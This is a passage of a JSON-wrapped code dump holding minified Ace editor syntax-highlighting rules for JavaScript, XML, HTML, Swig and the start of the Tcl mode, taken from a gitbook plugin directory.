t=this.createKeywordMapper({\"variable.language\":\"Array|Boolean|Date|Function|Iterator|Number|Object|RegExp|String|Proxy|Namespace|QName|XML|XMLList|ArrayBuffer|Float32Array|Float64Array|Int16Array|Int32Array|Int8Array|Uint16Array|Uint32Array|Uint8Array|Uint8ClampedArray|Error|EvalError|InternalError|RangeError|ReferenceError|StopIteration|SyntaxError|TypeError|URIError|decodeURI|decodeURIComponent|encodeURI|encodeURIComponent|eval|isFinite|isNaN|parseFloat|parseInt|JSON|Math|this|arguments|prototype|window|document\",keyword:\"const|yield|import|get|set|break|case|catch|continue|default|delete|do|else|finally|for|function|if|in|instanceof|new|return|switch|throw|try|typeof|let|var|while|with|debugger|__parent__|__count__|escape|unescape|with|__proto__|class|enum|extends|super|export|implements|private|public|interface|package|protected|static\",\"storage.type\":\"const|let|var|function\",\"constant.language\":\"null|Infinity|NaN|undefined\",\"support.function\":\"alert\",\"constant.language.boolean\":\"true|false\"},\"identifier\"),n=\"case|do|else|finally|in|instanceof|return|throw|try|typeof|yield|void\",r=\"\\\\\\\\(?:x[0-9a-fA-F]{2}|u[0-9a-fA-F]{4}|[0-2][0-7]{0,2}|3[0-6][0-7]?|37[0-7]?|[4-7][0-7]?|.)\";this.$rules={no_regex:[{token:\"comment\",regex:\"\\\\/\\\\/\",next:\"line_comment\"},i.getStartRule(\"doc-start\"),{token:\"comment\",regex:/\\/\\*/,next:\"comment\"},{token:\"string\",regex:\"'(?=.)\",next:\"qstring\"},{token:\"string\",regex:'\"(?=.)',next:\"qqstring\"},{token:\"constant.numeric\",regex:/0[xX][0-9a-fA-F]+\\b/},{token:\"constant.numeric\",regex:/[+-]?\\d+(?:(?:\\.\\d*)?(?:[eE][+-]?\\d+)?)?\\b/},{token:[\"storage.type\",\"punctuation.operator\",\"support.function\",\"punctuation.operator\",\"entity.name.function\",\"text\",\"keyword.operator\"],regex:\"(\"+o+\")(\\\\.)(prototype)(\\\\.)(\"+o+\")(\\\\s*)(=)\",next:\"function_arguments\"},{token:[\"storage.type\",\"punctuation.operator\",\"entity.name.function\",\"text\",\"keyword.operator\",\"text\",\"storage.type\",\"text\",\"paren.lparen\"],regex:\"(\"+o+\")(\\\\.)(\"+o+\")(\\\\s*)(=)(\\\\s*)(function)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"entity.name.function\",\"text\",\"keyword.operator\",\"text\",\"storage.type\",\"text\",\"paren.lparen\"],regex:\"(\"+o+\")(\\\\s*)(=)(\\\\s*)(function)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"storage.type\",\"punctuation.operator\",\"entity.name.function\",\"text\",\"keyword.operator\",\"text\",\"storage.type\",\"text\",\"entity.name.function\",\"text\",\"paren.lparen\"],regex:\"(\"+o+\")(\\\\.)(\"+o+\")(\\\\s*)(=)(\\\\s*)(function)(\\\\s+)(\\\\w+)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"storage.type\",\"text\",\"entity.name.function\",\"text\",\"paren.lparen\"],regex:\"(function)(\\\\s+)(\"+o+\")(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"entity.name.function\",\"text\",\"punctuation.operator\",\"text\",\"storage.type\",\"text\",\"paren.lparen\"],regex:\"(\"+o+\")(\\\\s*)(:)(\\\\s*)(function)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"text\",\"text\",\"storage.type\",\"text\",\"paren.lparen\"],regex:\"(:)(\\\\s*)(function)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:\"keyword\",regex:\"(?:\"+n+\")\\\\b\",next:\"start\"},{token:[\"support.constant\"],regex:/that\\b/},{token:[\"storage.type\",\"punctuation.operator\",\"support.function.firebug\"],regex:/(console)(\\.)(warn|info|log|error|time|trace|timeEnd|assert)\\b/},{token:t,regex:o},{token:\"punctuation.operator\",regex:/[.](?![.])/,next:\"property\"},{token:\"keyword.operator\",regex:/--|\\+\\+|\\.{3}|===|==|=|!=|!==|<=|>=|<<=|>>=|>>>=|<>|<|>|!|&&|\\|\\||\\?\\:|[!$%&*+\\-~\\/^]=?/,next:\"start\"},{token:\"punctuation.operator\",regex:/[?:,;.]/,next:\"start\"},{token:\"paren.lparen\",regex:/[\\[({]/,next:\"start\"},{token:\"paren.rparen\",regex:/[\\])}]/},{token:\"comment\",regex:/^#!.*$/}],property:[{token:\"text\",regex:\"\\\\s+\"},{token:[\"storage.type\",\"punctuation.operator\",\"entity.name.function\",\"text\",\"keyword.operator\",\"text\",\"storage.type\",\"text\",\"entity.name.function\",\"text\",\"paren.lparen\"],regex:\"(\"+o+\")(\\\\.)(\"+o+\")(\\\\s*)(=)(\\\\s*)(function)(?:(\\\\s+)(\\\\w+))?(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:\"punctuation.operator\",regex:/[.](?![.])/},{token:\"support.function\",regex:/(s(?:h(?:ift|ow(?:Mod(?:elessDialog|alDialog)|Help))|croll(?:X|By(?:Pages|Lines)?|Y|To)?|t(?:op|rike)|i(?:n|zeToContent|debar|gnText)|ort|u(?:p|b(?:str(?:ing)?)?)|pli(?:ce|t)|e(?:nd|t(?:Re(?:sizable|questHeader)|M(?:i(?:nutes|lliseconds)|onth)|Seconds|Ho(?:tKeys|urs)|Year|Cursor|Time(?:out)?|Interval|ZOptions|Date|UTC(?:M(?:i(?:nutes|lliseconds)|onth)|Seconds|Hours|Date|FullYear)|FullYear|Active)|arch)|qrt|lice|avePreferences|mall)|h(?:ome|andleEvent)|navigate|c(?:har(?:CodeAt|At)|o(?:s|n(?:cat|textual|firm)|mpile)|eil|lear(?:Timeout|Interval)?|a(?:ptureEvents|ll)|reate(?:StyleSheet|Popup|EventObject))|t(?:o(?:GMTString|S(?:tring|ource)|U(?:TCString|pperCase)|Lo(?:caleString|werCase))|est|a(?:n|int(?:Enabled)?))|i(?:s(?:NaN|Finite)|ndexOf|talics)|d(?:isableExternalCapture|ump|etachEvent)|u(?:n(?:shift|taint|escape|watch)|pdateCommands)|j(?:oin|avaEnabled)|p(?:o(?:p|w)|ush|lugins.refresh|a(?:ddings|rse(?:Int|Float)?)|r(?:int|ompt|eference))|e(?:scape|nableExternalCapture|val|lementFromPoint|x(?:p|ec(?:Script|Command)?))|valueOf|UTC|queryCommand(?:State|Indeterm|Enabled|Value)|f(?:i(?:nd|le(?:ModifiedDate|Size|CreatedDate|UpdatedDate)|xed)|o(?:nt(?:size|color)|rward)|loor|romCharCode)|watch|l(?:ink|o(?:ad|g)|astIndexOf)|a(?:sin|nchor|cos|t(?:tachEvent|ob|an(?:2)?)|pply|lert|b(?:s|ort))|r(?:ou(?:nd|teEvents)|e(?:size(?:By|To)|calc|turnValue|place|verse|l(?:oad|ease(?:Capture|Events)))|andom)|g(?:o|et(?:ResponseHeader|M(?:i(?:nutes|lliseconds)|onth)|Se(?:conds|lection)|Hours|Year|Time(?:zoneOffset)?|Da(?:y|te)|UTC(?:M(?:i(?:nutes|lliseconds)|onth)|Seconds|Hours|Da(?:y|te)|FullYear)|FullYear|A(?:ttention|llResponseHeaders)))|m(?:in|ove(?:B(?:y|elow)|To(?:Absolute)?|Above)|ergeAttributes|a(?:tch|rgins|x))|b(?:toa|ig|o(?:ld|rderWidths)|link|ack))\\b(?=\\()/},{token:\"support.function.dom\",regex:/(s(?:ub(?:stringData|mit)|plitText|e(?:t(?:NamedItem|Attribute(?:Node)?)|lect))|has(?:ChildNodes|Feature)|namedItem|c(?:l(?:ick|o(?:se|neNode))|reate(?:C(?:omment|DATASection|aption)|T(?:Head|extNode|Foot)|DocumentFragment|ProcessingInstruction|E(?:ntityReference|lement)|Attribute))|tabIndex|i(?:nsert(?:Row|Before|Cell|Data)|tem)|open|delete(?:Row|C(?:ell|aption)|T(?:Head|Foot)|Data)|focus|write(?:ln)?|a(?:dd|ppend(?:Child|Data))|re(?:set|place(?:Child|Data)|move(?:NamedItem|Child|Attribute(?:Node)?)?)|get(?:NamedItem|Element(?:sBy(?:Name|TagName|ClassName)|ById)|Attribute(?:Node)?)|blur)\\b(?=\\()/},{token:\"support.constant\",regex:/(s(?:ystemLanguage|cr(?:ipts|ollbars|een(?:X|Y|Top|Left))|t(?:yle(?:Sheets)?|atus(?:Text|bar)?)|ibling(?:Below|Above)|ource|uffixes|e(?:curity(?:Policy)?|l(?:ection|f)))|h(?:istory|ost(?:name)?|as(?:h|Focus))|y|X(?:MLDocument|SLDocument)|n(?:ext|ame(?:space(?:s|URI)|Prop))|M(?:IN_VALUE|AX_VALUE)|c(?:haracterSet|o(?:n(?:structor|trollers)|okieEnabled|lorDepth|mp(?:onents|lete))|urrent|puClass|l(?:i(?:p(?:boardData)?|entInformation)|osed|asses)|alle(?:e|r)|rypto)|t(?:o(?:olbar|p)|ext(?:Transform|Indent|Decoration|Align)|ags)|SQRT(?:1_2|2)|i(?:n(?:ner(?:Height|Width)|put)|ds|gnoreCase)|zIndex|o(?:scpu|n(?:readystatechange|Line)|uter(?:Height|Width)|p(?:sProfile|ener)|ffscreenBuffering)|NEGATIVE_INFINITY|d(?:i(?:splay|alog(?:Height|Top|Width|Left|Arguments)|rectories)|e(?:scription|fault(?:Status|Ch(?:ecked|arset)|View)))|u(?:ser(?:Profile|Language|Agent)|n(?:iqueID|defined)|pdateInterval)|_content|p(?:ixelDepth|ort|ersonalbar|kcs11|l(?:ugins|atform)|a(?:thname|dding(?:Right|Bottom|Top|Left)|rent(?:Window|Layer)?|ge(?:X(?:Offset)?|Y(?:Offset)?))|r(?:o(?:to(?:col|type)|duct(?:Sub)?|mpter)|e(?:vious|fix)))|e(?:n(?:coding|abledPlugin)|x(?:ternal|pando)|mbeds)|v(?:isibility|endor(?:Sub)?|Linkcolor)|URLUnencoded|P(?:I|OSITIVE_INFINITY)|f(?:ilename|o(?:nt(?:Size|Family|Weight)|rmName)|rame(?:s|Element)|gColor)|E|whiteSpace|l(?:i(?:stStyleType|n(?:eHeight|kColor))|o(?:ca(?:tion(?:bar)?|lName)|wsrc)|e(?:ngth|ft(?:Context)?)|a(?:st(?:M(?:odified|atch)|Index|Paren)|yer(?:s|X)|nguage))|a(?:pp(?:MinorVersion|Name|Co(?:deName|re)|Version)|vail(?:Height|Top|Width|Left)|ll|r(?:ity|guments)|Linkcolor|bove)|r(?:ight(?:Context)?|e(?:sponse(?:XML|Text)|adyState))|global|x|m(?:imeTypes|ultiline|enubar|argin(?:Right|Bottom|Top|Left))|L(?:N(?:10|2)|OG(?:10E|2E))|b(?:o(?:ttom|rder(?:Width|RightWidth|BottomWidth|Style|Color|TopWidth|LeftWidth))|ufferDepth|elow|ackground(?:Color|Image)))\\b/},{token:\"identifier\",regex:o},{regex:\"\",token:\"empty\",next:\"no_regex\"}],start:[i.getStartRule(\"doc-start\"),{token:\"comment\",regex:\"\\\\/\\\\*\",next:\"comment_regex_allowed\"},{token:\"comment\",regex:\"\\\\/\\\\/\",next:\"line_comment_regex_allowed\"},{token:\"string.regexp\",regex:\"\\\\/\",next:\"regex\"},{token:\"text\",regex:\"\\\\s+|^$\",next:\"start\"},{token:\"empty\",regex:\"\",next:\"no_regex\"}],regex:[{token:\"regexp.keyword.operator\",regex:\"\\\\\\\\(?:u[\\\\da-fA-F]{4}|x[\\\\da-fA-F]{2}|.)\"},{token:\"string.regexp\",regex:\"/[sxngimy]*\",next:\"no_regex\"},{token:\"invalid\",regex:/\\{\\d+\\b,?\\d*\\}[+*]|[+*$^?][+*]|[$^][?]|\\?{3,}/},{token:\"constant.language.escape\",regex:/\\(\\?[:=!]|\\)|\\{\\d+\\b,?\\d*\\}|[+*]\\?|[()$^+*?.]/},{token:\"constant.language.delimiter\",regex:/\\|/},{token:\"constant.language.escape\",regex:/\\[\\^?/,next:\"regex_character_class\"},{token:\"empty\",regex:\"$\",next:\"no_regex\"},{defaultToken:\"string.regexp\"}],regex_character_class:[{token:\"regexp.charclass.keyword.operator\",regex:\"\\\\\\\\(?:u[\\\\da-fA-F]{4}|x[\\\\da-fA-F]{2}|.)\"},{token:\"constant.language.escape\",regex:\"]\",next:\"regex\"},{token:\"constant.language.escape\",regex:\"-\"},{token:\"empty\",regex:\"$\",next:\"no_regex\"},{defaultToken:\"string.regexp.charachterclass\"}],function_arguments:[{token:\"variable.parameter\",regex:o},{token:\"punctuation.operator\",regex:\"[, ]+\"},{token:\"punctuation.operator\",regex:\"$\"},{token:\"empty\",regex:\"\",next:\"no_regex\"}],comment_regex_allowed:[i.getTagRule(),{token:\"comment\",regex:\"\\\\*\\\\/\",next:\"start\"},{defaultToken:\"comment\",caseInsensitive:!0}],comment:[i.getTagRule(),{token:\"comment\",regex:\"\\\\*\\\\/\",next:\"no_regex\"},{defaultToken:\"comment\",caseInsensitive:!0}],line_comment_regex_allowed:[i.getTagRule(),{token:\"comment\",regex:\"$|^\",next:\"start\"},{defaultToken:\"comment\",caseInsensitive:!0}],line_comment:[i.getTagRule(),{token:\"comment\",regex:\"$|^\",next:\"no_regex\"},{defaultToken:\"comment\",caseInsensitive:!0}],qqstring:[{token:\"constant.language.escape\",regex:r},{token:\"string\",regex:\"\\\\\\\\$\",next:\"qqstring\"},{token:\"string\",regex:'\"|$',next:\"no_regex\"},{defaultToken:\"string\"}],qstring:[{token:\"constant.language.escape\",regex:r},{token:\"string\",regex:\"\\\\\\\\$\",next:\"qstring\"},{token:\"string\",regex:\"'|$\",next:\"no_regex\"},{defaultToken:\"string\"}]};if(!e||!e.noES6)this.$rules.no_regex.unshift({regex:\"[{}]\",onMatch:function(e,t,n){this.next=e==\"{\"?this.nextState:\"\";if(e==\"{\"&&n.length)return n.unshift(\"start\",t),\"paren\";if(e==\"}\"&&n.length){n.shift(),this.next=n.shift();if(this.next.indexOf(\"string\")!=-1||this.next.indexOf(\"jsx\")!=-1)return\"paren.quasi.end\"}return e==\"{\"?\"paren.lparen\":\"paren.rparen\"},nextState:\"start\"},{token:\"string.quasi.start\",regex:/`/,push:[{token:\"constant.language.escape\",regex:r},{token:\"paren.quasi.start\",regex:/\\${/,push:\"start\"},{token:\"string.quasi.end\",regex:/`/,next:\"pop\"},{defaultToken:\"string.quasi\"}]}),(!e||!e.noJSX)&&a.call(this);this.embedRules(i,\"doc-\",[i.getEndRule(\"no_regex\")]),this.normalizeRules()};r.inherits(u,s),t.JavaScriptHighlightRules=u}),define(\"ace/mode/xml_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(e){var t=\"[_:a-zA-Z\\u00c0-\\uffff][-_:.a-zA-Z0-9\\u00c0-\\uffff]*\";this.$rules={start:[{token:\"string.cdata.xml\",regex:\"<\\\\!\\\\[CDATA\\\\[\",next:\"cdata\"},{token:[\"punctuation.xml-decl.xml\",\"keyword.xml-decl.xml\"],regex:\"(<\\\\?)(xml)(?=[\\\\s])\",next:\"xml_decl\",caseInsensitive:!0},{token:[\"punctuation.instruction.xml\",\"keyword.instruction.xml\"],regex:\"(<\\\\?)(\"+t+\")\",next:\"processing_instruction\"},{token:\"comment.xml\",regex:\"<\\\\!--\",next:\"comment\"},{token:[\"xml-pe.doctype.xml\",\"xml-pe.doctype.xml\"],regex:\"(<\\\\!)(DOCTYPE)(?=[\\\\s])\",next:\"doctype\",caseInsensitive:!0},{include:\"tag\"},{token:\"text.end-tag-open.xml\",regex:\"</\"},{token:\"text.tag-open.xml\",regex:\"<\"},{include:\"reference\"},{defaultToken:\"text.xml\"}],xml_decl:[{token:\"entity.other.attribute-name.decl-attribute-name.xml\",regex:\"(?:\"+t+\":)?\"+t+\"\"},{token:\"keyword.operator.decl-attribute-equals.xml\",regex:\"=\"},{include:\"whitespace\"},{include:\"string\"},{token:\"punctuation.xml-decl.xml\",regex:\"\\\\?>\",next:\"start\"}],processing_instruction:[{token:\"punctuation.instruction.xml\",regex:\"\\\\?>\",next:\"start\"},{defaultToken:\"instruction.xml\"}],doctype:[{include:\"whitespace\"},{include:\"string\"},{token:\"xml-pe.doctype.xml\",regex:\">\",next:\"start\"},{token:\"xml-pe.xml\",regex:\"[-_a-zA-Z0-9:]+\"},{token:\"punctuation.int-subset\",regex:\"\\\\[\",push:\"int_subset\"}],int_subset:[{token:\"text.xml\",regex:\"\\\\s+\"},{token:\"punctuation.int-subset.xml\",regex:\"]\",next:\"pop\"},{token:[\"punctuation.markup-decl.xml\",\"keyword.markup-decl.xml\"],regex:\"(<\\\\!)(\"+t+\")\",push:[{token:\"text\",regex:\"\\\\s+\"},{token:\"punctuation.markup-decl.xml\",regex:\">\",next:\"pop\"},{include:\"string\"}]}],cdata:[{token:\"string.cdata.xml\",regex:\"\\\\]\\\\]>\",next:\"start\"},{token:\"text.xml\",regex:\"\\\\s+\"},{token:\"text.xml\",regex:\"(?:[^\\\\]]|\\\\](?!\\\\]>))+\"}],comment:[{token:\"comment.xml\",regex:\"-->\",next:\"start\"},{defaultToken:\"comment.xml\"}],reference:[{token:\"constant.language.escape.reference.xml\",regex:\"(?:&#[0-9]+;)|(?:&#x[0-9a-fA-F]+;)|(?:&[a-zA-Z0-9_:\\\\.-]+;)\"}],attr_reference:[{token:\"constant.language.escape.reference.attribute-value.xml\",regex:\"(?:&#[0-9]+;)|(?:&#x[0-9a-fA-F]+;)|(?:&[a-zA-Z0-9_:\\\\.-]+;)\"}],tag:[{token:[\"meta.tag.punctuation.tag-open.xml\",\"meta.tag.punctuation.end-tag-open.xml\",\"meta.tag.tag-name.xml\"],regex:\"(?:(<)|(</))((?:\"+t+\":)?\"+t+\")\",next:[{include:\"attributes\"},{token:\"meta.tag.punctuation.tag-close.xml\",regex:\"/?>\",next:\"start\"}]}],tag_whitespace:[{token:\"text.tag-whitespace.xml\",regex:\"\\\\s+\"}],whitespace:[{token:\"text.whitespace.xml\",regex:\"\\\\s+\"}],string:[{token:\"string.xml\",regex:\"'\",push:[{token:\"string.xml\",regex:\"'\",next:\"pop\"},{defaultToken:\"string.xml\"}]},{token:\"string.xml\",regex:'\"',push:[{token:\"string.xml\",regex:'\"',next:\"pop\"},{defaultToken:\"string.xml\"}]}],attributes:[{token:\"entity.other.attribute-name.xml\",regex:\"(?:\"+t+\":)?\"+t+\"\"},{token:\"keyword.operator.attribute-equals.xml\",regex:\"=\"},{include:\"tag_whitespace\"},{include:\"attribute_value\"}],attribute_value:[{token:\"string.attribute-value.xml\",regex:\"'\",push:[{token:\"string.attribute-value.xml\",regex:\"'\",next:\"pop\"},{include:\"attr_reference\"},{defaultToken:\"string.attribute-value.xml\"}]},{token:\"string.attribute-value.xml\",regex:'\"',push:[{token:\"string.attribute-value.xml\",regex:'\"',next:\"pop\"},{include:\"attr_reference\"},{defaultToken:\"string.attribute-value.xml\"}]}]},this.constructor===s&&this.normalizeRules()};(function(){this.embedTagRules=function(e,t,n){this.$rules.tag.unshift({token:[\"meta.tag.punctuation.tag-open.xml\",\"meta.tag.\"+n+\".tag-name.xml\"],regex:\"(<)(\"+n+\"(?=\\\\s|>|$))\",next:[{include:\"attributes\"},{token:\"meta.tag.punctuation.tag-close.xml\",regex:\"/?>\",next:t+\"start\"}]}),this.$rules[n+\"-end\"]=[{include:\"attributes\"},{token:\"meta.tag.punctuation.tag-close.xml\",regex:\"/?>\",next:\"start\",onMatch:function(e,t,n){return n.splice(0),this.token}}],this.embedRules(e,t,[{token:[\"meta.tag.punctuation.end-tag-open.xml\",\"meta.tag.\"+n+\".tag-name.xml\"],regex:\"(</)(\"+n+\"(?=\\\\s|>|$))\",next:n+\"-end\"},{token:\"string.cdata.xml\",regex:\"<\\\\!\\\\[CDATA\\\\[\"},{token:\"string.cdata.xml\",regex:\"\\\\]\\\\]>\"}])}}).call(i.prototype),r.inherits(s,i),t.XmlHighlightRules=s}),define(\"ace/mode/html_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/lang\",\"ace/mode/css_highlight_rules\",\"ace/mode/javascript_highlight_rules\",\"ace/mode/xml_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"../lib/lang\"),s=e(\"./css_highlight_rules\").CssHighlightRules,o=e(\"./javascript_highlight_rules\").JavaScriptHighlightRules,u=e(\"./xml_highlight_rules\").XmlHighlightRules,a=i.createMap({a:\"anchor\",button:\"form\",form:\"form\",img:\"image\",input:\"form\",label:\"form\",option:\"form\",script:\"script\",select:\"form\",textarea:\"form\",style:\"style\",table:\"table\",tbody:\"table\",td:\"table\",tfoot:\"table\",th:\"table\",tr:\"table\"}),f=function(){u.call(this),this.addRules({attributes:[{include:\"tag_whitespace\"},{token:\"entity.other.attribute-name.xml\",regex:\"[-_a-zA-Z0-9:.]+\"},{token:\"keyword.operator.attribute-equals.xml\",regex:\"=\",push:[{include:\"tag_whitespace\"},{token:\"string.unquoted.attribute-value.html\",regex:\"[^<>='\\\"`\\\\s]+\",next:\"pop\"},{token:\"empty\",regex:\"\",next:\"pop\"}]},{include:\"attribute_value\"}],tag:[{token:function(e,t){var n=a[t];return[\"meta.tag.punctuation.\"+(e==\"<\"?\"\":\"end-\")+\"tag-open.xml\",\"meta.tag\"+(n?\".\"+n:\"\")+\".tag-name.xml\"]},regex:\"(</?)([-_a-zA-Z0-9:.]+)\",next:\"tag_stuff\"}],tag_stuff:[{include:\"attributes\"},{token:\"meta.tag.punctuation.tag-close.xml\",regex:\"/?>\",next:\"start\"}]}),this.embedTagRules(s,\"css-\",\"style\"),this.embedTagRules((new o({noJSX:!0})).getRules(),\"js-\",\"script\"),this.constructor===f&&this.normalizeRules()};r.inherits(f,u),t.HtmlHighlightRules=f}),define(\"ace/mode/swig\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/lang\",\"ace/mode/html_highlight_rules\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"../lib/lang\"),s=e(\"./html_highlight_rules\").HtmlHighlightRules,o=e(\"./text_highlight_rules\").TextHighlightRules,u=function(){s.call(this);var e=\"autoescape|block|else|elif|extends|filter|for|if|import|include|macro|parent|raw|set|spaceless\";e=e+\"|end\"+e.replace(/\\|/g,\"|end\");var t=\"addslashes|capitalize|date|default|escape|first|groupBy|join|json|last|lower|raw|replace|reverse|safe|sort|striptags|title|uniq|upper|url_encode|url_decode\",n=\"first|last|index|index0|revindex|revindex0|key\",r=\"null|none|true|false|loop\",i=\"in|is|and|or|not|as|with|only\",o=this.createKeywordMapper({\"keyword.control.swig\":e,\"support.function.swig\":t+\"|\"+n,\"keyword.operator.swig\":i,\"constant.language.swig\":r},\"identifier\");for(var u in this.$rules)this.$rules[u].unshift({token:\"variable.other.readwrite.local.swig\",regex:\"\\\\{\\\\{-?\",push:\"swig-start\"},{token:\"meta.tag.swig\",regex:\"\\\\{%-?\",push:\"swig-start\"},{token:\"comment.block.swig\",regex:\"\\\\{#-?\",push:\"swig-comment\"});this.$rules[\"swig-comment\"]=[{token:\"comment.block.swig\",regex:\".*-?#}\",next:\"pop\"}],this.$rules[\"swig-start\"]=[{token:\"variable.other.readwrite.local.swig\",regex:\"-?\\\\}\\\\}\",next:\"pop\"},{token:\"meta.tag.swig\",regex:\"-?%\\\\}\",next:\"pop\"},{token:\"string\",regex:\"'\",next:\"swig-qstring\"},{token:\"string\",regex:'\"',next:\"swig-qqstring\"},{token:\"constant.numeric\",regex:\"0[xX][0-9a-fA-F]+\\\\b\"},{token:\"constant.numeric\",regex:\"[+-]?\\\\d+(?:(?:\\\\.\\\\d*)?(?:[eE][+-]?\\\\d+)?)?\\\\b\"},{token:\"constant.language.boolean\",regex:\"(?:true|false)\\\\b\"},{token:o,regex:\"[a-zA-Z_$][a-zA-Z0-9_$]*\\\\b\"},{token:\"keyword.operator.assignment\",regex:\"=|~\"},{token:\"keyword.operator.comparison\",regex:\"==|!=|<|>|>=|<=|===\"},{token:\"keyword.operator.arithmetic\",regex:\"\\\\+|-|/|%|//|\\\\*|\\\\*\\\\*\"},{token:\"keyword.operator.other\",regex:\"\\\\.\\\\.|\\\\|\"},{token:\"punctuation.operator\",regex:/\\?|\\:|\\,|\\;|\\./},{token:\"paren.lparen\",regex:/[\\[\\({]/},{token:\"paren.rparen\",regex:/[\\])}]/},{token:\"text\",regex:\"\\\\s+\"}],this.$rules[\"swig-qqstring\"]=[{token:\"constant.language.escape\",regex:/\\\\[\\\\\"$#ntr]|#{[^\"}]*}/},{token:\"string\",regex:'\"',next:\"swig-start\"},{defaultToken:\"string\"}],this.$rules[\"swig-qstring\"]=[{token:\"constant.language.escape\",regex:/\\\\[\\\\'ntr]}/},{token:\"string\",regex:\"'\",next:\"swig-start\"},{defaultToken:\"string\"}],this.normalizeRules()};r.inherits(u,o),t.SwigHighlightRules=u})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/mode-tcl.js",
    "content": "define(\"ace/mode/folding/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/range\",\"ace/mode/folding/fold_mode\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../../range\").Range,s=e(\"./fold_mode\").FoldMode,o=t.FoldMode=function(e){e&&(this.foldingStartMarker=new RegExp(this.foldingStartMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.start)),this.foldingStopMarker=new RegExp(this.foldingStopMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.end)))};r.inherits(o,s),function(){this.foldingStartMarker=/(\\{|\\[)[^\\}\\]]*$|^\\s*(\\/\\*)/,this.foldingStopMarker=/^[^\\[\\{]*(\\}|\\])|^[\\s\\*]*(\\*\\/)/,this.singleLineBlockCommentRe=/^\\s*(\\/\\*).*\\*\\/\\s*$/,this.tripleStarBlockCommentRe=/^\\s*(\\/\\*\\*\\*).*\\*\\/\\s*$/,this.startRegionRe=/^\\s*(\\/\\*|\\/\\/)#?region\\b/,this._getFoldWidgetBase=this.getFoldWidget,this.getFoldWidget=function(e,t,n){var r=e.getLine(n);if(this.singleLineBlockCommentRe.test(r)&&!this.startRegionRe.test(r)&&!this.tripleStarBlockCommentRe.test(r))return\"\";var i=this._getFoldWidgetBase(e,t,n);return!i&&this.startRegionRe.test(r)?\"start\":i},this.getFoldWidgetRange=function(e,t,n,r){var i=e.getLine(n);if(this.startRegionRe.test(i))return this.getCommentRegionBlock(e,i,n);var s=i.match(this.foldingStartMarker);if(s){var o=s.index;if(s[1])return this.openingBracketBlock(e,s[1],n,o);var u=e.getCommentFoldRange(n,o+s[0].length,1);return u&&!u.isMultiLine()&&(r?u=this.getSectionRange(e,n):t!=\"all\"&&(u=null)),u}if(t===\"markbegin\")return;var s=i.match(this.foldingStopMarker);if(s){var o=s.index+s[0].length;return s[1]?this.closingBracketBlock(e,s[1],n,o):e.getCommentFoldRange(n,o,-1)}},this.getSectionRange=function(e,t){var n=e.getLine(t),r=n.search(/\\S/),s=t,o=n.length;t+=1;var u=t,a=e.getLength();while(++t<a){n=e.getLine(t);var f=n.search(/\\S/);if(f===-1)continue;if(r>f)break;var l=this.getFoldWidgetRange(e,\"all\",t);if(l){if(l.start.row<=s)break;if(l.isMultiLine())t=l.end.row;else if(r==f)break}u=t}return new i(s,o,u,e.getLine(u).length)},this.getCommentRegionBlock=function(e,t,n){var r=t.search(/\\s*$/),s=e.getLength(),o=n,u=/^\\s*(?:\\/\\*|\\/\\/|--)#?(end)?region\\b/,a=1;while(++n<s){t=e.getLine(n);var f=u.exec(t);if(!f)continue;f[1]?a--:a++;if(!a)break}var l=n;if(l>o)return new i(o,r,l,t.length)}}.call(o.prototype)}),define(\"ace/mode/tcl_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(){this.$rules={start:[{token:\"comment\",regex:\"#.*\\\\\\\\$\",next:\"commentfollow\"},{token:\"comment\",regex:\"#.*$\"},{token:\"support.function\",regex:\"[\\\\\\\\]$\",next:\"splitlineStart\"},{token:\"text\",regex:'[\\\\\\\\](?:[\"]|[{]|[}]|[[]|[]]|[$]|[])'},{token:\"text\",regex:\"^|[^{][;][^}]|[/\\r/]\",next:\"commandItem\"},{token:\"string\",regex:'[ ]*[\"](?:(?:\\\\\\\\.)|(?:[^\"\\\\\\\\]))*?[\"]'},{token:\"string\",regex:'[ ]*[\"]',next:\"qqstring\"},{token:\"variable.instance\",regex:\"[$]\",next:\"variable\"},{token:\"support.function\",regex:\"!|\\\\$|%|&|\\\\*|\\\\-\\\\-|\\\\-|\\\\+\\\\+|\\\\+|~|===|==|=|!=|!==|<=|>=|<<=|>>=|>>>=|<>|<|>|!|&&|\\\\|\\\\||\\\\?\\\\:|\\\\*=|%=|\\\\+=|\\\\-=|&=|\\\\^=|{\\\\*}|;|::\"},{token:\"identifier\",regex:\"[a-zA-Z_$][a-zA-Z0-9_$]*\\\\b\"},{token:\"paren.lparen\",regex:\"[[{]\",next:\"commandItem\"},{token:\"paren.lparen\",regex:\"[(]\"},{token:\"paren.rparen\",regex:\"[\\\\])}]\"},{token:\"text\",regex:\"\\\\s+\"}],commandItem:[{token:\"comment\",regex:\"#.*\\\\\\\\$\",next:\"commentfollow\"},{token:\"comment\",regex:\"#.*$\",next:\"start\"},{token:\"string\",regex:'[ 